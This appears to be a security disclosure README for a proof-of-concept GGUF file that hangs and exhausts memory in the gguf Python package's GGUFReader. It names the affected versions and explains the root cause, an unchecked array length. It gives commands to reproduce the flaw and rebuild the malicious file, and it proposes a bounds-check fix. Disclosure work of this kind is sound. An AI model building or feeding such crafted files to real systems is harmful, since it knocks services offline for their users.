gguf-array-dos-poc / README.md
chirper's picture
GGUF GGUFReader ARRAY-length DoS PoC
eb7f0ba verified
|
Raw
History Blame Contribute Delete
2.61 kB
---
license: mit
tags:
- security
- proof-of-concept
- gguf
- denial-of-service
---
# PoC: Denial of Service in `gguf` (gguf-py) `GGUFReader` via unchecked ARRAY length
This repository contains a **49-byte** proof-of-concept GGUF file that triggers a
non-terminating loop with unbounded memory growth in the official `gguf` Python
package (`gguf.GGUFReader`). Loading the file for metadata inspection causes the
process to hang and consume memory until it is OOM-killed.
This artifact is for **defensive security research / responsible disclosure** only.
## Affected
- `gguf` (PyPI) **0.18.0**
- `gguf` (PyPI) **0.19.0**
- Upstream `ggml-org/llama.cpp` `gguf-py` at
`b5f52280fb781cf63e7c3fb79f8bb8de215293e3` (verified after the `#19856`
integer-overflow patch).
## Root cause
In `gguf/gguf_reader.py`, `_get_field_parts()` parses a metadata ARRAY by reading a
64-bit element count straight from the file and looping that many times:
```python
alen = self._get(offs, np.uint64) # attacker-controlled element count
for idx in range(alen[0]): # no bound vs. remaining file bytes
curr_size, curr_parts, ... = self._get_field_parts(offs, raw_itype[0])
aparts += curr_parts # grows every iteration
offs += curr_size # curr_size == 0 once past EOF
```
For a 1-byte element type (`UINT8`/`BOOL`), once `offs` reaches EOF the element read
returns an empty array (`curr_size == 0`), so `offs` never advances and the loop runs
up to `alen = 2**64-1` times, appending to `aparts` each iteration.
## Reproduce
```bash
pip install gguf==0.19.0
python -c "from gguf import GGUFReader; GGUFReader('poc_array_dos.gguf')"
# never returns; resident memory climbs ~230 MiB/s
```
Safe, time-boxed demonstration (sampling RSS, aborts after 8s):
```bash
python verify_dos.py poc_array_dos.gguf
```
Expected output: the parser is still running after 8s with RSS having grown >1 GiB
from a 49-byte input. A finite-length control (`make_poc.py out.gguf 0x2`) returns
in ~0.01s.
## Rebuild the PoC
```bash
python make_poc.py poc_array_dos.gguf 0xFFFFFFFFFFFFFFFF
```
## Suggested fix
Reject array lengths that exceed the remaining file size (each element is at least
1 byte), and add a progress guard for truncated elements, mirroring the bounds
checks already present in the C++ reader (`ggml/src/gguf.cpp`):
```python
remaining = self.data.size - offs
if alen[0] > remaining:
raise ValueError(f'array length {int(alen[0])} exceeds remaining file size {remaining}')
...
if curr_size <= 0:
raise ValueError('truncated GGUF ARRAY element')
```